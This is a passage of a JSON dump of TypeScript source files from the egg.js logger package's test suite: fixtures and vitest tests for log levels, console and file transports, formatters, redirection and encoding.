    "content": "import { EggLogger } from '../../src/index.ts';\n\nconst options = JSON.parse(process.argv[2]);\noptions.buffer = false;\nconst logger = new EggLogger(options);\nlogger.debug('debug foo');\nlogger.info('info foo');\nlogger.warn('warn foo');\nlogger.error('error foo');\nlogger.write('write foo');\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_logger_dynamically.ts",
    "content": "import { EggLogger } from '../../src/index.ts';\n\nconst options = JSON.parse(process.argv[2]);\noptions.buffer = false;\noptions.level = 'INFO';\noptions.consoleLevel = 'INFO';\n\nconst logger = new EggLogger(options);\nlogger.info('info foo');\nlogger.warn('warn foo');\n\nlogger.level = 'WARN';\nlogger.info('info foo after level changed');\nlogger.warn('warn foo after level changed');\nlogger.warn('logger level', logger.level);\n\nlogger.consoleLevel = 'WARN';\nlogger.info('info foo after consoleLevel changed');\nlogger.warn('warn foo after consoleLevel changed');\nlogger.warn('logger consoleLevel', logger.consoleLevel);\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_loggers.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { EggLoggers, EggLogger } from '../../src/index.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst tmp = path.join(__dirname, 'tmp');\nconst loggers = new EggLoggers({\n  logger: {\n    type: 'application',\n    consoleLevel: 'INFO',\n    dir: tmp,\n    appLogName: 'app-web.log',\n    coreLogName: 'egg-web.log',\n    agentLogName: 'egg-agent.log',\n    errorLogName: 'common-error.log',\n    buffer: false,\n  },\n});\n(loggers.get('logger') as EggLogger).info('info foo');\nloggers.disableConsole();\n(loggers.get('logger') as EggLogger).info('info foo after disable');\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_loggers_console_duplicate.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { EggLoggers } from '../../src/index.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst tmp = path.join(__dirname, 'tmp');\nconst loggers = new EggLoggers({\n  logger: {\n    type: 'application',\n    consoleLevel: 'INFO',\n    dir: tmp,\n    appLogName: 'app-web.log',\n    coreLogName: 'egg-web.log',\n    agentLogName: 'egg-agent.log',\n    errorLogName: 'common-error.log',\n    buffer: false,\n  },\n  customLogger: {\n    aLogger: {\n      consoleLevel: 'INFO',\n      file: 'console_duplicate.log',\n    },\n  },\n});\n(loggers as unknown as { logger: { error: (msg: string) => void } }).logger.error('built-in error');\n(loggers as unknown as { aLogger: { info: (msg: string) => void; error: (msg: string) => void } }).aLogger.info(\n  'custom info',\n);\n(loggers as unknown as { aLogger: { error: (msg: string) => void } }).aLogger.error('custom error');\n"
  },
  {
    "path": "packages/logger/test/lib/egg/console_logger.test.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport mm from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst consoleLoggerFile = path.join(__dirname, '../../fixtures/egg_console_logger.ts');\nconst tmp = path.join(__dirname, '../../fixtures/tmp_console_logger');\n\nafterEach(async () => {\n  await rimraf(tmp);\n  mm.restore();\n});\n\ndescribe('test/lib/egg/console_logger.test.ts', () => {\n  it('should info by default on EGG_SERVER_ENV = prod', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'prod');\n    await coffee\n      .fork(consoleLoggerFile)\n      .notExpect('stdout', /DEBUG \\d+ debug foo/)\n      .expect('stdout', /INFO \\d+ info foo/)\n      .expect('stdout', /WARN \\d+ warn foo/)\n      .expect('stderr', /ERROR \\d+ error foo/)\n      .end();\n  });\n\n  it('should warn by default when EGG_SERVER_ENV is not prod', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', '');\n    await coffee\n      .fork(consoleLoggerFile)\n      .notExpect('stdout', /DEBUG \\d+ debug foo/)\n      .notExpect('stdout', /INFO \\d+ info foo/)\n      .expect('stdout', /WARN \\d+ warn foo/)\n      .expect('stderr', /ERROR \\d+ error foo/)\n      .end();\n  });\n\n  it('should show console log with date/level/pid', async () => {\n    await coffee\n      .fork(consoleLoggerFile)\n      .expect('stderr', /[\\d ,:.-]+ ERROR \\d+ error foo/)\n      .end();\n  });\n\n  it('should use NODE_CONSOLE_LOGGER_LEVEL env', async () => {\n    mm(process.env, 'NODE_CONSOLE_LOGGER_LEVEL', 'INFO');\n    await coffee\n      .fork(consoleLoggerFile)\n      .expect('stdout', /INFO \\d+ info foo/)\n      .end();\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/egg/custom_logger.test.ts",
    "content": "import assert from 'node:assert';\nimport { readFile } from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst loggerFile = path.join(__dirname, '../../fixtures/egg_custom_logger.ts');\nconst tmpDir = path.join(__dirname, '../../fixtures/tmp_custom_logger');\nconst filePath = path.join(tmpDir, 'a.log');\n\nbeforeEach(() => rimraf(tmpDir));\nafterEach(() => rimraf(tmpDir));\n\ndescribe('test/lib/egg/custom_logger.test.ts', () => {\n  it('should format work', async () => {\n    const options = { file: filePath, level: 'WARN' };\n    await coffee.fork(loggerFile, [JSON.stringify(options)]).end();\n    const log = await readFile(filePath, 'utf-8');\n    assert.match(log, /\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2},\\d{3} ERROR \\d+ error foo\\r?\\n/);\n  });\n\n  it('should support relative path', async () => {\n    const options = { dir: tmpDir, file: 'relative.log', level: 'WARN' };\n    await coffee.fork(loggerFile, [JSON.stringify(options)]).end();\n    const log = await readFile(path.join(tmpDir, options.file), 'utf-8');\n    assert.match(log, /\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2},\\d{3} ERROR \\d+ error foo\\r?\\n/);\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/egg/error_logger.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { EggErrorLogger, defaultFormatter } from '../../../src/index.ts';\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst errorLoggerFile = path.join(__dirname, '../../fixtures/egg_error_logger.ts');\n\n// coffee.fork() can't execute .ts files on Windows Node 20 (no native TypeScript support)\ndescribe.skipIf(process.platform === 'win32' && process.version.startsWith('v20.'))(\n  'test/lib/egg/error_logger.test.ts',\n  () => {\n    const filepath = path.join(__dirname, '../../fixtures/tmp/a.log');\n\n    afterEach(async () => {\n      await rimraf(path.dirname(filepath));\n    });\n\n    it('default params', () => {\n      const logger = new EggErrorLogger({ file: filepath });\n      assert.strictEqual(logger.opts.level, 'ERROR');\n      assert.strictEqual(logger.opts.consoleLevel, 'ERROR');\n      assert.strictEqual(logger.opts.formatter, defaultFormatter);\n    });\n\n    it('should log error level only', async () => {\n      const options = { file: filepath, flushInterval: 10 };\n      await coffee\n        .fork(errorLoggerFile, [JSON.stringify(options)])\n        .expect('stdout', '')\n        .expect('stderr', /ERROR \\d+ error foo/)\n        .end();\n      const content = fs.readFileSync(filepath, 'utf8');\n      assert.doesNotMatch(content, /WARN \\d+ warn foo/);\n      assert.match(content, /ERROR \\d+ error foo/);\n    });\n\n    it(\"can't set level below ERROR\", async () => {\n      const options = { file: filepath, level: 'WARN', consoleLevel: 'WARN' };\n      await coffee\n        .fork(errorLoggerFile, [JSON.stringify(options)])\n        .expect('stdout', '')\n        .expect('stderr', /ERROR \\d+ error foo/)\n        .end();\n      const content = fs.readFileSync(filepath, 'utf8');\n      assert.doesNotMatch(content, /WARN \\d+ warn foo/);\n      assert.match(content, /ERROR \\d+ error foo/);\n    });\n\n    it('can set NONE level', async () => {\n      const options = { file: filepath, level: 'NONE', consoleLevel: 'NONE' };\n      await coffee\n        .fork(errorLoggerFile, [JSON.stringify(options)])\n        .expect('stdout', '')\n        .expect('stderr', '')\n        .end();\n      assert.strictEqual(fs.readFileSync(filepath, 'utf8'), '');\n    });\n  },\n);\n"
  },
  {
    "path": "packages/logger/test/lib/egg/logger.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { EggLogger, levels } from '../../../src/index.ts';\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst loggerFile = path.join(__dirname, '../../fixtures/egg_logger.ts');\nconst loggerDynamicallyFile = path.join(__dirname, '../../fixtures/egg_logger_dynamically.ts');\n\ndescribe('test/lib/egg/logger.test.ts', () => {\n  const filepath = path.join(__dirname, '../../fixtures/tmp/a.log');\n\n  afterEach(async () => {\n    await rimraf(path.dirname(filepath));\n  });\n\n  it('should create outputJSON .json.log file', async () => {\n    const options = { file: filepath, outputJSON: true, level: levels.ERROR };\n    await coffee.fork(loggerFile, [JSON.stringify(options)]).end();\n    assert.match(\n      fs.readFileSync(filepath, 'utf8'),\n      /\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2},\\d{3} ERROR \\d+ error foo\\r?\\n/,\n    );\n    assert.match(fs.readFileSync(filepath.replace(/\\.log$/, '.json.log'), 'utf8'), /\"message\":\"error foo\"/);\n  });\n\n  it('should format date with ISO format', async () => {\n    const options = { file: filepath, outputJSON: true, dateISOFormat: true, level: levels.ERROR };\n    await coffee.fork(loggerFile, [JSON.stringify(options)]).end();\n    assert.match(\n      fs.readFileSync(filepath, 'utf8'),\n      /\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}.\\d{3}Z ERROR \\d+ error foo\\r?\\n/,\n    );\n    assert.match(\n      fs.readFileSync(filepath.replace(/\\.log$/, '.json.log'), 'utf8'),\n      /\"date\":\"\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}.\\d{3}Z\"/,\n    );\n  });\n\n  it('should only create outputJSON .json.log file', async () => {\n    const file1 = path.join(__dirname, '../../fixtures/tmp/fileOnlyJson.log');\n    const options = { file: file1, outputJSON: true, outputJSONOnly: true, level: levels.ERROR };\n    await coffee.fork(loggerFile, [JSON.stringify(options)]).end();\n    assert.match(fs.readFileSync(file1.replace(/\\.log$/, '.json.log'), 'utf8'), /\"message\":\"error foo\"/);\n    assert.strictEqual(fs.existsSync(file1), false);\n  });\n\n  it('should un-redirect specific level to logger', async () => {\n    const file1 = path.join(__dirname, '../../fixtures/tmp/file1.log');\n    const file2 = path.join(__dirname, '../../fixtures/tmp/file2.log');\n    const logger1 = new EggLogger({ file: file1, buffer: false });\n    const logger2 = new EggLogger({ file: file2, buffer: false });\n    logger1.redirect('warn', logger2);\n    logger1.redirect('error', logger2);\n    logger1.unredirect('warn');\n\n    logger1.warn('warn self');\n    logger1.error('error logger2');\n    await new Promise((resolve) => setTimeout(resolve, 10));\n    assert.match(fs.readFileSync(file1, 'utf8'), /warn self/);\n    assert.match(fs.readFileSync(file2, 'utf8'), /error logger2/);\n    logger1.close();\n    logger2.close();\n  });\n\n  it('should dynamically change level', async () => {\n    const options = { file: filepath };\n    await coffee.fork(loggerDynamicallyFile, [JSON.stringify(options)]).end();\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /info foo\\r?\\n/);\n    assert.match(content, /warn foo\\r?\\n/);\n    assert.doesNotMatch(content, /info foo after level changed\\r?\\n/);\n    assert.match(content, /warn foo after level changed\\r?\\n/);\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/egg/loggers.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { EggLoggers } from '../../../src/index.ts';\nimport { sleep, rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst eggLoggersFile = path.join(__dirname, '../../fixtures/egg_loggers.ts');\nconst eggLoggersConsoleDuplicateFile = path.join(__dirname, '../../fixtures/egg_loggers_console_duplicate.ts');\n\ndescribe('test/lib/egg/loggers.test.ts', () => {\n  const tmp = path.join(__dirname, '../../fixtures/tmp_egg_loggers');\n\n  beforeAll(() => rimraf(tmp));\n  afterAll(() => rimraf(tmp));\n\n  describe('application', () => {\n    let loggers: EggLoggers;\n\n    beforeAll(() => {\n      loggers = new EggLoggers({\n        logger: {\n          type: 'application',\n          dir: tmp,\n          appLogName: 'app-web.log',\n          coreLogName: 'egg-web.log',\n          agentLogName: 'egg-agent.log',\n          errorLogName: 'common-error.log',\n          buffer: false,\n          coreLogger: {\n            level: 'WARN',\n            consoleLevel: 'WARN',\n          },\n        },\n      });\n    });\n\n    afterAll(() => loggers.reload());\n\n    it('loggers can create multi logger instance', () => {\n      assert(loggers.logger);\n      assert(loggers.coreLogger);\n      assert(loggers.errorLogger);\n    });\n\n    it('app.logger log to appLogName', async () => {\n      (loggers.logger as unknown as { info: (s: string) => void }).info('logger info foo');\n      await sleep(10);\n      const content = fs.readFileSync(path.join(tmp, 'app-web.log'), 'utf8');\n      assert.match(content, / INFO \\d+ logger info foo/);\n    });\n\n    it('app.coreLogger log to coreLogName', async () => {\n      (loggers.coreLogger as unknown as { warn: (s: string) => void }).warn('coreLogger warn foo');\n      await sleep(10);\n      const content = fs.readFileSync(path.join(tmp, 'egg-web.log'), 'utf8');\n      assert.match(content, / WARN \\d+ coreLogger warn foo/);\n    });\n\n    it('error logger to common-error.log', async () => {\n      (loggers.logger as unknown as { error: (s: string) => void }).error('error log');\n      await sleep(10);\n      const content = fs.readFileSync(path.join(tmp, 'common-error.log'), 'utf8');\n      assert.match(content, / ERROR \\d+ error log/);\n    });\n  });\n\n  describe('disable console', () => {\n    it('should disable console output', async () => {\n      await coffee\n        .fork(eggLoggersFile)\n        .expect('stdout', /info foo/)\n        .notExpect('stdout', /info foo after disable/)\n        .end();\n    });\n  });\n\n  describe('console duplicate', () => {\n    it('should not duplicate console for custom logger error', async () => {\n      await coffee\n        .fork(eggLoggersConsoleDuplicateFile)\n        .expect('stderr', /built-in error/)\n        .expect('stdout', /custom info/)\n        .expect('stderr', /custom error/)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/formatter.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { FrameworkBaseError } from '@eggjs/errors';\nimport mm from 'mm';\nimport { describe, it, beforeEach, afterEach, afterAll } from 'vitest';\n\nimport { FileTransport, Logger, levels } from '../../src/index.ts';\nimport { sleep, rimraf } from '../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\ndescribe('test/lib/formatter.test.ts', () => {\n  const tmp = path.join(__dirname, '../fixtures/tmp_formatter');\n  let transport: FileTransport;\n  let filepath: string;\n\n  beforeEach(() => {\n    filepath = path.join(tmp, `transport-${Date.now()}`, 'a.log');\n    transport = new FileTransport({ file: filepath, level: 'INFO' });\n  });\n  afterEach(() => {\n    transport.close();\n    mm.restore();\n  });\n  afterAll(async () => {\n    await rimraf(tmp);\n  });\n\n  it('should use util.format handle arguments', async () => {\n    const logger = new Logger();\n    logger.set('file', transport);\n    logger.info('%s %s %j', 1, 'a', { a: 1 });\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /1 a {\"a\":1}/);\n    logger.close();\n  });\n\n  it('should log raw message without formatter', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO' }));\n    logger.write('raw message');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, 'raw message' + os.EOL);\n    logger.close();\n  });\n\n  it('should format error correctly', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `${meta.level} ${meta.pid} ${meta.message}`,\n      }),\n    );\n    const err = new Error('test error');\n    logger.error(err);\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /ERROR \\d+ nodejs.Error: test error/);\n    logger.close();\n  });\n\n  it('should format FrameworkBaseError', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `${meta.level} ${meta.message}`,\n      }),\n    );\n    class AppError extends FrameworkBaseError {\n      get module(): string {\n        return 'app';\n      }\n    }\n    const err = new AppError('framework error', 1);\n    logger.error(err);\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /ERROR/);\n    logger.close();\n  });\n\n  it('should output JSON log', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO', json: true }));\n    logger.info('json foo');\n    await sleep(10);\n    const line = fs.readFileSync(filepath, 'utf8').trim();\n    const obj = JSON.parse(line);\n    assert.strictEqual(obj.level, 'INFO');\n    assert.strictEqual(obj.message, 'json foo');\n    assert(obj.pid);\n    assert(obj.date);\n    logger.close();\n  });\n\n  it('should use custom formatter', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `[${meta.level}] ${meta.message}`,\n      }),\n    );\n    logger.info('custom format');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, '[INFO] custom format' + os.EOL);\n    logger.close();\n  });\n\n  it('should use levels constant', () => {\n    assert.strictEqual(levels.DEBUG, 0);\n    assert.strictEqual(levels.INFO, 1);\n    assert.strictEqual(levels.WARN, 2);\n    assert.strictEqual(levels.ERROR, 3);\n    assert.strictEqual(levels.NONE, Infinity);\n    assert.strictEqual(levels.ALL, -Infinity);\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/logger.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport iconv from 'iconv-lite';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { FileTransport, FileBufferTransport, Logger } from '../../src/index.ts';\nimport { sleep, rimraf } from '../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\ndescribe('test/lib/logger.test.ts', () => {\n  const tmp = path.join(__dirname, '../fixtures/tmp_logger');\n  let filepath: string;\n\n  beforeEach(async () => {\n    filepath = path.join(tmp, `logger-${Date.now()}`, 'a.log');\n    await rimraf(tmp);\n  });\n  afterEach(async () => {\n    await rimraf(tmp);\n  });\n\n  it('should not print log after transport was disabled', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO' }));\n    logger.info('info foo');\n    logger.disable('file');\n    logger.info('disable foo');\n    logger.enable('file');\n    logger.info('enable foo');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert(content.includes('info foo'));\n    assert(!content.includes('disable foo'));\n    assert(content.includes('enable foo'));\n    logger.close();\n  });\n\n  it('should work with gbk encoding', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'INFO', encoding: 'gbk' }));\n    logger.info('info foo 中文');\n    await sleep(10);\n    const content = fs.readFileSync(filepath);\n    assert.strictEqual(iconv.decode(content, 'gbk'), 'info foo 中文' + os.EOL);\n    logger.close();\n  });\n\n  it('should flush after buffer length > maxBufferLength on FileBufferTransport', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileBufferTransport({ file: filepath, level: 'INFO', maxBufferLength: 2 }));\n    logger.info('info foo1');\n    logger.info('info foo2');\n    logger.info('info foo3');\n    logger.info('info foo4');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, 'info foo1' + os.EOL + 'info foo2' + os.EOL + 'info foo3' + os.EOL);\n    logger.close();\n  });\n\n  it('should flush gbk log after buffer length > maxBufferLength on FileBufferTransport', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileBufferTransport({ file: filepath, level: 'INFO', maxBufferLength: 2, encoding: 'gbk' }));\n    logger.info('info foo1 中文');\n    logger.info('info foo2');\n    logger.info('info foo3');\n    logger.info('info foo4');\n    await sleep(10);\n    const content = fs.readFileSync(filepath);\n    assert.strictEqual(\n      iconv.decode(content, 'gbk'),\n      'info foo1 中文' + os.EOL + 'info foo2' + os.EOL + 'info foo3' + os.EOL,\n    );\n    logger.close();\n  });\n\n  it('should redirect to specify logger', async () => {\n    const file1 = path.join(tmp, 'a1.log');\n    const file2 = path.join(tmp, 'a2.log');\n    const file3 = path.join(tmp, 'a3.log');\n    const logger1 = new Logger();\n    logger1.set('file', new FileTransport({ file: file1, level: 'INFO' }));\n    const logger2 = new Logger();\n    logger2.set('file', new FileTransport({ file: file2, level: 'INFO' }));\n    const logger3 = new Logger();\n    logger3.set('file', new FileTransport({ file: file3, level: 'INFO' }));\n    logger1.redirect('warn', logger2);\n    logger1.redirect('error', logger2);\n    logger1.redirect('error', logger3); // will ignore (already redirected)\n    logger1.redirect('info', logger3);\n    logger1.unredirect('info');\n\n    logger1.info('info self');\n    logger1.warn('warn logger2');\n    logger1.error('error logger2');\n\n    await sleep(10);\n\n    assert.strictEqual(fs.readFileSync(file1, 'utf8'), 'info self' + os.EOL);\n    assert.strictEqual(fs.readFileSync(file2, 'utf8'), 'warn logger2' + os.EOL + 'error logger2' + os.EOL);\n    assert.strictEqual(fs.readFileSync(file3, 'utf8'), '');\n    logger1.close();\n    logger2.close();\n    logger3.close();\n  });\n\n  it('should duplicate to specify logger', async () => {\n    const file1 = path.join(tmp, 'a1.log');\n    const file11 = path.join(tmp, 'a11.log');\n    const file2 = path.join(tmp, 'a2.log');\n    const file3 = path.join(tmp, 'a3.log');\n    const logger1 = new Logger();\n    logger1.set('file', new FileTransport({ file: file1, level: 'INFO' }));\n    logger1.set('additional', new FileTransport({ file: file11, level: 'INFO' }));\n    const logger2 = new Logger();\n    logger2.set('file', new FileTransport({ file: file2, level: 'INFO' }));\n    const logger3 = new Logger();\n    logger3.set('file', new FileTransport({ file: file3, level: 'INFO' }));\n    logger1.duplicate('warn', logger2);\n    logger1.duplicate('error', logger2, { excludes: ['additional'] });\n    logger1.duplicate('error', logger3); // will ignore\n    logger1.duplicate('info', logger3);\n    logger1.unduplicate('info');\n\n    logger1.info('info self');\n    logger1.warn('warn logger2');\n    logger1.error('error logger2');\n\n    await sleep(10);\n\n    assert.strictEqual(\n      fs.readFileSync(file1, 'utf8'),\n      'info self' + os.EOL + 'warn logger2' + os.EOL + 'error logger2' + os.EOL,\n    );\n    assert.strictEqual(fs.readFileSync(file11, 'utf8'), 'info self' + os.EOL + 'warn logger2' + os.EOL);\n    assert.strictEqual(fs.readFileSync(file2, 'utf8'), 'warn logger2' + os.EOL + 'error logger2' + os.EOL);\n    assert.strictEqual(fs.readFileSync(file3, 'utf8'), '');\n    logger1.close();\n    logger2.close();\n    logger3.close();\n  });\n\n  it('should write raw string and ignore level', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'ERROR' }));\n    logger.warn('warn');\n    logger.write('none');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.strictEqual(content, 'none' + os.EOL);\n    logger.close();\n  });\n\n  it('should write ignore formatter', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `${meta.pid} ${meta.message}`,\n      }),\n    );\n    logger.info('info');\n    logger.write('write');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /^\\d* info\\r?\\nwrite\\r?\\n$/);\n    logger.close();\n  });\n\n  it('should write default support util.format', async () => {\n    const logger = new Logger();\n    logger.set(\n      'file',\n      new FileTransport({\n        file: filepath,\n        level: 'INFO',\n        formatter: (meta) => `${meta.pid} ${meta.message}`,\n      }),\n    );\n    logger.write('write %j', { foo: 'bar' });\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.match(content, /^write \\{\"foo\":\"bar\"\\}\\r?\\n$/);\n    logger.close();\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/transports/console.test.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport coffee from 'coffee';\nimport mm from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { levels } from '../../../src/index.ts';\nimport { rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst loggerFile = path.join(__dirname, '../../fixtures/console_transport.ts');\nconst tmp = path.join(__dirname, '../../fixtures/tmp_console');\n\nafterEach(async () => {\n  await rimraf(tmp);\n  mm.restore();\n});\n\ndescribe('test/lib/transports/console.test.ts', () => {\n  it('should use EGG_LOG env for log level first', async () => {\n    mm(process.env, 'EGG_LOG', 'error');\n    const options = { file: path.join(tmp, 'a.log'), level: 'WARN' };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .notExpect('stdout', /warn foo\\r?\\n/)\n      .notExpect('stdout', /error foo\\r?\\n/)\n      .expect('stderr', /error foo\\r?\\n/)\n      .end();\n  });\n\n  it('should print warn log to stderr', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: 'WARN', stderrLevel: 'WARN' };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', /write foo\\r?\\n/)\n      .expect('stderr', /warn foo\\r?\\nerror foo\\r?\\n/)\n      .end();\n  });\n\n  it('should not print log to stderr when stderrLevel = NONE', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: 'WARN', stderrLevel: 'NONE' };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .notExpect('stderr', /write foo/)\n      .end();\n  });\n\n  it('should set level to levels.ERROR const', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: levels.ERROR };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', /write foo\\r?\\n/)\n      .expect('stderr', /error foo\\r?\\n/)\n      .end();\n  });\n\n  it('console level should be NONE', async () => {\n    const options = { file: path.join(tmp, 'a.log'), flushInterval: 10 };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', '')\n      .expect('stderr', '')\n      .end();\n  });\n\n  it('should print all log when level = debug', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: 'debug', flushInterval: 10 };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', /debug foo\\r?\\n/)\n      .expect('stdout', /info foo\\r?\\n/)\n      .expect('stdout', /warn foo\\r?\\n/)\n      .notExpect('stdout', /error foo\\r?\\n/)\n      .expect('stderr', /error foo\\r?\\n/)\n      .end();\n  });\n\n  it('should print error log when level = error', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: 'error', flushInterval: 10 };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', /write foo\\r?\\n/)\n      .expect('stderr', /error foo\\r?\\n/)\n      .end();\n  });\n\n  it('should not print any log to stdout/stderr when level = NONE', async () => {\n    const options = { file: path.join(tmp, 'a.log'), level: 'NONE', flushInterval: 10 };\n    await coffee\n      .fork(loggerFile, [JSON.stringify(options)])\n      .expect('stdout', '')\n      .expect('stderr', '')\n      .end();\n  });\n});\n"
  },
  {
    "path": "packages/logger/test/lib/transports/file.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport iconv from 'iconv-lite';\nimport mm from 'mm';\nimport { describe, it, beforeEach, afterEach, afterAll } from 'vitest';\n\nimport { FileTransport, Logger, levels } from '../../../src/index.ts';\nimport { sleep, rimraf } from '../../utils.ts';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\ndescribe('test/lib/transports/file.test.ts', () => {\n  const tmp = path.join(__dirname, '../../fixtures/tmp_transports_file');\n  let filepath: string;\n\n  beforeEach(() => {\n    filepath = path.join(tmp, `transports_file_${Date.now()}`, 'a.log');\n  });\n  afterEach(() => {\n    mm.restore();\n  });\n  afterAll(async () => {\n    await rimraf(tmp);\n  });\n\n  it('should set level to levels.ERROR', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath, level: 'ERROR' }));\n    logger.debug('debug foo');\n    logger.info('info foo');\n    logger.warn('warn foo');\n    logger.error('error foo');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.doesNotMatch(content, /debug foo\\r?\\n/);\n    assert.doesNotMatch(content, /info foo\\r?\\n/);\n    assert.doesNotMatch(content, /warn foo\\r?\\n/);\n    assert.match(content, /error foo\\r?\\n/);\n    logger.close();\n  });\n\n  it('should level = info by default', async () => {\n    const logger = new Logger();\n    logger.set('file', new FileTransport({ file: filepath }));\n    logger.debug('debug foo');\n    logger.info('info foo');\n    logger.warn('warn foo');\n    logger.error('error foo');\n    await sleep(10);\n    const content = fs.readFileSync(filepath, 'utf8');\n    assert.doesNotMatch(content, /debug foo\\r?\\n/);\n    